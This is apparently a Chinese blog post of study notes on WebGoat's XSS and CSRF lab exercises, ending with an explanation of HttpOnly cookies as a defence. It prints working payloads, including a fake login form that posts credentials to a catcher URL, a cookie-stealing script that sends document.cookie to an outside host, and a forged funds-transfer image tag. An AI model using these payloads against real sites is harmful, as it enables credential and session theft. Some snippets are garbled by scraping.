Webgoat 笔记总结-Cross-site-scripting

Cross-Site Scripting (xss)

Phishing with XSS

网络钓鱼与xss

使用<script>alert('xss')</script> 测试
使用<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src=\'#\'" //localhostcatcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";} </script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>测试

clip_image002[6]

Stage 1: Stored XSS

这个案例需要执行一个保存型的XSS

分析

普通职员可以修改查看自己的资料,管理员可以查看普通职员的资料

1.在职员larry的个人资料中插入xss脚本

2.管理员在查看larry的个人资料时运行脚本中招~(这样就可以盗取管理员身份,或者利用管理员身份来干点其他事CSRF)

登录larry 密码larry
修改信息
clip_image004

也可以插入其他代码
CSRF
点击” UpdateProfile”之后立即弹出窗口,说明这个XSS是可行的
clip_image006

然后退出Larry用户,登陆其他用户查看Larry的信息,验证攻击是否成功

clip_image008

Stage3:
阶段3:执行一个以前存储跨站脚本(XSS)攻击。

“布鲁斯”的员工配置文件是预装存储XSS攻击。验证“大卫”是受攻击。

先登录david
clip_image010

看到david的cookies了
clip_image012

执行Reflected XSS攻击。

使用一个漏洞在搜索页面URL员工中插入包含reflected XSS攻击。验证另一位员工使用链接受到攻击

clip_image014

在搜索框中插入 <script>alert('xss')</script>

Stored Xss Attack

1、盗取各类用户帐号,如网银、管理员等帐号

2、欺骗浏览器访问钓鱼网站,以骗取账号密码等个人信息

3、将使用者浏览器导向恶意网站,向使用者计算机下载并安装恶意后门程序

clip_image016

将用作参数来操作系统命令、脚本和数据库查询。这是特别重要的内容,将会永久地存储在应用程序的某个地方。用户不应该能够创建消息内容,可能会导致另一个用户加载一个令人不快的页面或令人不快的内容当用户的检索消息

输入代码
<script>setTimeout('alert("You have been owned! I will hacker your Cookie:' + document.cookie + '");;,1000);setTimeout("document.body.innerHTML='<font size=7> this page been hacked by monalisa!<font>';",3000);setTimeout("window.location.reload()",5000)</script>
clip_image018

还可以输入其他代码 如帐号密码框
<script>alert('xss')</script>

<div><br><br>drdr<form

action="http:\\地址(URL)\getinfo?cookie="%2bdocument.cookie>

<table><tr><td>Login:</td><td><input type=text length=20 name=login>

</td></tr><tr><td>Password:</td><td>

<input type=text length=20 name=password></td></tr></table>

<input type=submit value=LOGIN></div>

Reflected XSS Attacks

目标是通过XSS漏洞来劫持已通过验证的用户会话,以达到拥有该授权用户的所有权限
clip_image019

实践来验证所有输入在服务器端。XSS可以发生在未经验证的用户输入用于HTTP响应。在reflected XSS攻击,攻击者可以创建一个URL和攻击脚本,寄到另一个网站,电子邮件,或者获得一个受害者点击它。

输入代码
'&gt;<script> alert("test");for(i=0;i<=document.getElementsByTagName("td").length-1;i++){if(document.getElementsByTagName("td")[i].innerHTML.indexOf('$')>0){document.getElementsByTagName("td")[i].innerHTML='$0';}};for(i=0;i<=document.getElementsByTagName("input").length-1;i++){if(document.getElementsByTagName("input")[i].type=='text'){document.getElementsByTagName("input")[i].value='10000';}}&lt;/script>

clip_image021

Cross Site Request Forgery (CSRF)
攻击者盗用了你的身份,以你的名义发送恶意请求

目标是通过一个包含恶意请求的图像利用已经验证过的用户身份实现恶意请求

clip_image023

从上图可以看出,要完成一次csrf攻击,受害者必须依次完成两个步骤:
1 登录受信任网站A。并在本地生成cookie
2在不登出A的情况在 访问B

实验

你的目标是把电子邮件发送到新闻组,其中包含一个图像的URL指向一个恶意的请求。尝试包括1 x1像素的图像,其中包括一个URL。URL应该指向CSRF教训额外参数“transferFunds就= 4000”。 你可以复制捷径从左边菜单中,通过右键单击菜单并选择左边复制快捷方式。谁收到这个邮件,碰巧经过身份验证的那时将有他的资金转移。当你认为这次袭击成功,刷新页面,你会发现绿色检查左边菜单。

先编制网页
clip_image025
登录webgoat 使用webscarab 截获数据包
clip_image027

运行该网页
clip_image029
链接必须指向csrf的页面
<IMG SRC=\'#\'" //localhost:8080/webgoat/attack?Screen=13&menu=900&transferFunds=4000" ;1" height="1">

然后访问csrf 页面
clip_image031
成功了
HttpOnly
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击

3.HttpOnly的设置样例

javaEE

Javaee代码 clip_image032

  1. response.setHeader("Set-Cookie", "cookiename=value;
  2. Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

Javaee代码 clip_image032[1]clip_image033clip_image034

  1. response.setHeader("Set-Cookie", "cookiename=value;
  2. Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

那么如何获得Cookie或者Session劫持呢?在浏览器中的document对象中,就储存了Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有别人的身份了。一个很典型的xss攻击语句如下:

xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;

一些应用程序考虑到这个问题所在,所以可能会采取浏览器绑定技术,譬如将Cookie和浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。这种方法已经证明是无效的,因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定,但是一些程序取得IP的方法有问题一样导致饶过),但是这样就带来很差的用户体验,更换IP是经常的事,譬如上班与家里就是2个IP,所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行,在一些web 2.0站点很容易就取到应用程序的管理员身份。

如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对象中获得的,我们只要让敏感Cookies浏览器document中不可见就行了。很幸运,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。

webgoat 实验演示(请使用火狐浏览器)
clip_image036

clip_image038

你可能感兴趣的:(target,钓鱼,blank)